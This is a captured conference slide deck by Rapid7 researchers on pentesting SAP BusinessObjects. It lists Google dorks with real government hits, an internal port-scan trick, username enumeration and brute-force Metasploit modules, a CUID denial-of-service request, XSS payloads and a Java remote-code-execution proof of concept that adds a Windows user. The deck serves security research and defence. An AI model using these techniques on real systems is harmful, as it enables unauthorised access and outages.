Hacking SAP BusinessObjects

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11/11/10



Overview

Methodology / Threat Model

Reconnaissance / Discovery

Attacking!

Summary

RAPID7

Standard Disclaimer

Do not do anything contained within this presentation unless you have written permission!!

Who are We?

- Joshua "Jabra" Abraham – Security Consultant/Researcher
  - Penetration Testing , Web Application Audits and Security Researcher
  - Bachelor of Science in Computer Science
  - Contributes to the BackTrack LiveCD, BeEF, Nikto, Fierce, and PBNJ
  - Speaker/Trainer at BlackHat, DefCon, ShmooCon, SANS Pentest Summit ,OWASP Conferences, LinuxWorld, Infosec World, CSI and Comdex
  - Twitter: **http://twitter.com/jabra** Blog: **http://sploit.wordpress.com**

- Willis Vandevanter – Security Consultant/Researcher
  - Penetration Tester and Security Researcher
  - BSc in CS, Masters of CS in Secure Software Engineering
  - Twitter: **http://twitter.com/willis__** (two underscores!!)

Rapid7 Overview

- Vulnerability Management

  RAPID7 NEXPOSE

- Open source projects

  metasploit

  w3af
  Web Application Attack and Audit Framework

- Professional Services
  - Network Pentesting
  - Web Application Audits
  - Training
  - Deployment

Overview

- What we will discuss
- What we will not discuss
- Things to keep in mind
  - Breaking stuff is cool
  - Disclaimer



SAP Product Suite

- Enterprise Resource Planning
- Business Intelligence (BI)
- Business Suite
  - Customer Relationship Planning
  - Enterprise Resource Planning
  - Product Lifecycle Management
  - Supply Chain Management
  - Supplier Relationship Management
- R/3
- BusinessObjects
- Netweaver



Focus of this talk

- SAP BusinessObjects Enterprise XI (XI 3.2 is the latest version)
- 20,000 ft view
  - Aggregating and analyzing vast amounts of data along with presentation of/providing access via many interfaces
  - Flexible, Scalable, and Accessible

BO BI Architecture Overview



Interfaces we focused on



Central Management Console

- Administrative Interface to BO
- Access is provided via the webserver (http://ip:6405/CmcApp) authenticates against the Central Management Server
- Provides
  - User and group creation and management
  - Server/Services Configuration
  - Object Rights, scheduling, security settings

Web Services

- Provides:
  - Session Handling
    - Auth, User privilege management
  - Business Intelligence Platform
    - Server administration, scheduling, etc.
  - Report Engine
    - Access reports (Crystal Reports, Web Intelligence, etc.)
  - Query
    - Build ad hoc queries



Service Oriented Architecture 101

- Think Object Oriented over XML
- Add this on top of HTTP
- That's SOA!
- Connect Legacy systems



SOAP 101

- Web Services
  - API in XML over HTTP
- OSI Layer 8,9 and 10…
  - Layer 8 – XML
  - Layer 9 – Security (WS-*)
  - Layer 10 – SOAP
- "Wiz Dullz" (WSDLs)
  - Data definitions
- UDDIs
  - Pointers



Threat Model



SSL vs Message Security

- Point-to-Point OR chained workflow
- SSL (All or nothing)
  - No fine grained control of portions of the applications
  - No audit trail
- Message
  - Ton of work!
  - Add amounts of security
  - Audit trail
  - Verify messages have not changed!
  - Encrypt message body (admin attack)



Tools of the Trade

- SOAP QA Testing tools
  - SOAPUI
- Favorite Programming Language
  - Custom tools
- Proxies
  - Our favorite BurpSuite!

  - http://ptresearch.blogspot.com/2010/01/methods-of-quick-exploitation-of-blind_25.html

Custom Web Services Client

```
#!/usr/bin/ruby –w
require 'soap/wsdlDriver'
require 'pp‘
wsdl = 'http://www.webservicex.net/stockquote.asmx?WSDL‘
driver = SOAP::WSDLDriverFactory.new(wsdl).create_rpc_driver
# Log SOAP request and response
driver.wiredump_file_base = "soap-log.txt"
# Use Burp proxy for all requests
driver.httproxy = 'http://localhost:8080'
# Log SOAP request and response
response = driver.GetQuote(:symbol => 'MSFT')
pp response
```

SOAPUI





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BurpSuite



- Usage with Intruder
- Verify the PRNG – Sequencer
- Etc., etc.

X's and O's and Icebergs



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X's and O's and Icebergs



X's and O's and Icebergs



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Overview

Methodology / Threat Model

Reconnaissance / Discovery

Attacking!

Summary

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Real-World Pentesting

- Evil Attackers - Blackhats
  - Financially Motivated
  - Not limited by amount of time and/or resources
- Pen testers – Whitehats
  - Context / Goal Focused (experience, 6th sense, etc)
  - Demonstrate real world risks, but limited by the time of the engagement
  - A snapshot of the network/application at a point in time

Goal Oriented Pentesting

- Emulate Blackhat, by using Goals as motivation
- Doesn't replace experience / 6th sense elements
- Pentesting teams focus efforts on critical weaknesses
- Non-technical methodology in which process is central focus
- Provides best (ROI) for organizations when they conduct penetration assessments

Threat Model

- Lot of Entry points, we examined a couple
- Different Goals for Different Folks
  - Unauthorized Access to Information
  - Remote Exploitation of BO Server and Internal Pivot
  - Informational Only (Version Fingerprinting, etc.)



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Web Application Overview

- /CmcApp
  - Administrator interface
- /dswsbobje
  - Web Services for BusinessObjects
  - Not installed by default
  - Requires deployment of a war
- /InfoViewApp
  - Querying interface
- /AnalyticalReporting
  - Reporting interface

Reconnaissance

- External and Internal Enumeration
  - Google dorks for identifying externally accessible instances
  - Port and application based enumeration
- Version Fingerprinting
  - Browser based
  - Web services based

Google Dorks

- BusinessObjects – InfoViewApp interface
  - inurl:infoviewapp
- Crystal Reports
  - filetype:cwr
  - filetype:cwr inurl:apstoken
  - filetype:cwr inurl:viewrpt
  - inurl:apspassword
  - filetype:cwr inurl:init
  - inurl:opendoc inurl:sType

inurl:infoviewapp inurl:gov/ Search

10 results (0.28 seconds) Advanced search

Tip: Search for **English** results only. You can specify your search language in Preferences

Quarterly reports on federal grants, loans and contracts - SC.GOV
arra.sc.**gov/InfoViewApp**/index.jsp - Cached

InfoView - [Translate this page]
BusinessObjects InfoView. Conectarse a InfoView. Ayuda.
dwh.educacion.**gov**.ec:8080/**InfoViewApp**/logon.jsp - Cached

InfoView
BusinessObjects InfoView. Efetuar Login no SIG-MT. Ajuda. Gestão do SIG-MT: gsig @cepromat.mt.gov.br / Fones: (65) 3613-3090 / 3240.
https://sig2.mt.**gov**.br/**InfoViewApp**/ - Cached - Similar

Acesso Livre - Portal do Estado de Mato Grosso
https://sig2.mt.**gov**.br/**InfoViewApp**/autologon.jsp - Cached

https://sig2.mt.gov.br/InfoViewApp/listing/main.do...
Cached

www.sni.gov.ec/sni-publico/InfoViewApp/logon/start... - [Translate this page]
Cached

InfoView - [Translate this page]
BusinessObjects InfoView. Efetuar logon em InfoView. Ajuda.
dwsep.planejamento.sp.**gov**.br:8080/**InfoViewApp**/ - Cached

dwsep.planejamento.sp.gov.br:8080/InfoViewApp/jsp/...
- [Translate this page]
Cached

RAPID7

Um, anyone wanta port scan internally ?

- Google: **filetype:cwr inurl:apstoken**

- Internal port scanning (port 80)
- http://hostname/CrystalReports/viewrpt.cwr?id=$ID&wid=$WID&apstoken=**internal:80**@$TOKEN

- **Port Closed Response :**
  Server $HOSTNAME:80 not found or server may be down (FWM 01003)

- internal port scanning (port 445)
- http://hostname/CrystalReports/viewrpt.cwr?id=$ID&wid=$WID&apstoken=**internal:445**@$TOKEN

- **Port Open Response:**
- # Unable to open a socket to talk to CMS $HOSTNAME:445 (FWM 01005)

Unique Ports

- 6405/tcp
  - /InfoViewApp
  - /CmcApp
  - /AnalyticalReporting
- 8080/tcp
  - /dswsbobje

Version Detection – Web App

Request:

http://x.x.x.x:6405/AnalyticalReporting/AnalyticalReporting_merge_web.xml

Response:

…snip…

```
<web-app>
    <context-param>
            <param-name>applet.version</param-name>
            <param-value>12.1.0.828</param-value>
    </context-param>
</web-app>
```

Version Detection – Web Service

Request:

POST http://x.x.x.x:8080/dswsbobje/services/Session

..snip..

```
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:ns="http://session.dsws.businessobjects.com/2007/06/01">
  <soapenv:Header/> <soapenv:Body> <ns:getVersion/> </soapenv:Body>
</soapenv:Envelope>
```

Response:

```
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
    <getVersionResponse xmlns="http://session.dsws.businessobjects.com/2007/06/01">
            <Version>12.1.0</Version>
    </getVersionResponse>
  </soapenv:Body> </soapenv:Envelope>
```

MSFv3 Version Detection Module

```
msf>  use scanner/http/sap_businessobjects_version_enum
sap_businessobjects_version_enum>  set RHOSTS 192.168.1.0/24
sap_businessobjects_version_enum>  run
```

- Based on using Dswsbobje (8080/tcp)
- Web Service Version request - Unauthenticated

Username Enumeration

- Response tells you if the username is valid
- Valid Username

  /Invalid password/

- SOAP method only

Username Enumeration

```
POST /dswsbobje/services/session HTTP/1.1
Content-Type: text/xml; charset=UTF-8
SOAPAction: "http://session.dsws.businessobjects.com/2007/06/01/login"
User-Agent: Axis2
Host: x.x.x.x:8080
Content-Length: 631

<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<login xmlns="http://session.dsws.businessobjects.com/2007/06/01">
<credential xmlns="http://session.dsws.businessobjects.com/2007/06/01"
    xmlns:ns="http://session.dsws.businessobjects.com/2007/06/01"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Login="administrator"
    Password="PASSWORD1" xsi:type="ns:EnterpriseCredential" />
<version xmlns="http://session.dsws.businessobjects.com/2007/06/01">BOE XI 3.0</version>
</login> </soapenv:Body></soapenv:Envelope>
```

MSFv3 User Enumeration Modules

```
msf>  use scanner/http/sap_businessobjects_user_enum
sap_businessobjects_user_enum>  set RHOSTS 192.168.1.0/24
sap_businessobjects_user_enum>  set USERNAME administrator
sap_businessobjects_user_enum>  run
```

- Based on using Dswsbobje (8080/tcp)
- Web Service Login request

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Unique Identifier (CUID)

- CUIDs – used similar to session ids for tasks that are performed.
- Ability to request a specific number of CUIDs

Denial of Service Attack

- I'd like 100,000 CUIDs please!

POST /dswsbobje/services/biplatform HTTP/1.1

Content-Type: text/xml; charset=UTF-8

SOAPAction:
http://biplatform.dsws.businessobjects.com/2007/06/01/GenerateCuids

DoS

```
<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<GenerateCuids xmlns="http://biplatform.dsws.businessobjects.com/2007/06/01">
    <SessionID xmlns="http://biplatform.dsws.businessobjects.com/2007/06/01">it-
    dirs8l4vkou4%3A6400|%40it-dirs8l4vkou4%3A6400|it-
    dirs8l4vkou4%3A6400%402149JabmPLnS4EzOXTzw2148JfhkJg2K280TJ1Nq|osca%3Aiiop
    %3A%2F%2Fit-
    dirs8l4vkou4%3A6400%3BSI_SESSIONID%3D2148JfhkJg2K280TJ1Nq|en_US|America/Los_
    Angeles”>
    </SessionID>
    <numCuids xmlns="http://biplatform.dsws.businessobjects.com/2007/06/01">
            100000
    </numCuids>
</GenerateCuids>
</soapenv:Body>
</soapenv:Envelope>
```

Oracle SQL Injection Error Codes

- Catch interesting errors
  - ORA-00921: unexpected end of SQL command
  - ORA-00936: missing expression
  - ORA-00933: SQL command not properly ended
  - ORA-00970, ORA-00907, ORA-01756, ORA-00923, ORA-00900, PLS-00103, LPX-00601, ORA-00604
- Crashes – for C code
  - ORA-03113 – might also be an instance crash
  - ORA-03114, ORA-01012
  - ORA-00600 – Internal error

- http://www.slaviks-blog.com/wp-content/uploads/2008/12/UKOUG122008-slavik.pdf

MSFv3 User Bruteforce Module

```
msf>  use scanner/http/sap_businessobjects_user_brute
sap_businessobjects_user_brute>  set RHOSTS 192.168.1.0/24
sap_businessobjects_user_brute>  set USERNAME administrator
sap_businessobjects_user_brute>  set PASSWORD password
sap_businessobjects_user_brute>  run
```

- Based on using Dswsbobje (8080/tcp)
- Web Service Login request
- Credentials for http://$ip:6405/CmcApp

MSFv3 User Bruteforce Module (Web)

```
msf>  use scanner/http/sap_businessobjects_user_brute_web
sap_businessobjects_user_brute_web>  set RHOSTS 192.168.1.0/24
sap_businessobjects_user_brute_web>  set USERNAME administrator
sap_businessobjects_user_brute_web>  set PASSWORD password
sap_businessobjects_user_brute_web>  run
```

- Based on using CmcApp (6405/tcp)
- Web Application Login request
- Credentials for http://$ip:6405/CmcApp

Reflective Cross-Site Scripting

Request:

GET /dswsbobje/axis2-admin/engagingglobally?modules="%3e%20%3cXSS%3e&submit=+Engage+ HTTP/1.1

Host: x.x.x.x:8080

..snip...

Response:

....snip...

The system is attempting to engage a module that is not available: "> **<XSS>**

<!--

...snip...

Persistent Cross Site Scripting



Persistent Cross Site Scripting



Edit Service Par

Service Parameters :: Hel

ServiceClass

Groups

Modules

Chains



Remote Code Execution

- Cross-Site Scripting is Great, but we want a shell!!
- CmcApp
  - Services for Upload and Exec:
    - InputFileRespository
    - ProgramJobServer - not enabled by default
  - To execute an Exe, administrator credentials required

CmcApp RCE

- You can set program object specific logon details by editing the "Program Logon" property of an object.
- These authentication details are not required if the credentials have been globally set
- (Applications > CMC > Program Object Rights > "Schedule with the following Operating System Credentials").

- Reference: CMC > Help > Index > program objects > Java programs > Authentication and program objects

CmcApp Steps for RCE

1. Log on to the server computer.
2. Go to Control Panel > Administrative Tools > Local Security Policy.
3. Under Security settings click Local Policies and then click User Rights Assignment.
4. Add the domain user account to the following policy:
    a. Replace Process Level Token Policy.
    b. Log on as a batch job.
    c. Adjust memory quotas for a process.
    d. Access this computer from the network. (usually everyone by default)
5. Go to the CCM and stop the Program Job Server.
6. Right-click Program Job Server and then click Properties.
7. Type the domain user account and password into the Log On As textbox.
8. Now you can schedule a metric refresh.

Dswsbobje

- Provides Web Services for BusinessObjects
- Not installed by default
- Requires:
  - Deployment of war
  - Requires Tomcat interface

    Remember the Tomcat Manager Vulnerability (tomcat/tomcat) => Remote Code Execution

- Opens up a new interface!
  - http://x.x.x.x:8080/dswsbobje/axis2-admin/login

Dswsbobje (think: dsw-s-bobje)

- Ability to administer web services
- Modify web services
- Delete web services (already deployed)
- Add web services (… hmm that sounds handy!)

- Guess what…. it is!

Remote Code Execution PoC

```
package org.apache.axis2.axis2userguide;
import java.io.IOException;
public class AddUser {
   public AddUser() {
   }
   public void main() {
      Process process;
      try {
         process = Runtime.getRuntime().exec("net user foo bar /add");
      }
      catch(IOException ioexception) {
         ioexception.printStackTrace();
      }
      return;
   }
}
```

DEMO!


GAME OVER

RCE Attack / Recommendations

- Attack requires the following:
  - Dswsbobje is deployed
    - (It is deployed if you are using SOA!)
  - Default administrator credentials are still in-place
  - Restart of Tomcat service are uploading malicious web service

- Change default credentials:

  C:\Program Files\Apache Software Foundation\Tomcat 6.0\webapps\dswsbobje\WEB-INF\conf\axis2.xml

Summary / QA

- Technical Methodology for pentesting SAP BusinessObjects
- Understanding SOAP / SOA is a large portion of Hacking SAP BusinessObjects

- Security Advisory to be released October 13th (www.rapid7.com)
- Metasploit Modules to be released soon! (www.metasploit.com)

Comments/Questions?

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  - Company: http://www.rapid7.com
  - Blog: http://sploit.wordpress.com
  - Twitter: http://twitter.com/jabra
- Willis Vandevanter
  - Will_aT_rapid7_dot_com
  - Twitter: http://twitter.com/willis__ (two underscores!)
  - Company: http://www.rapid7.com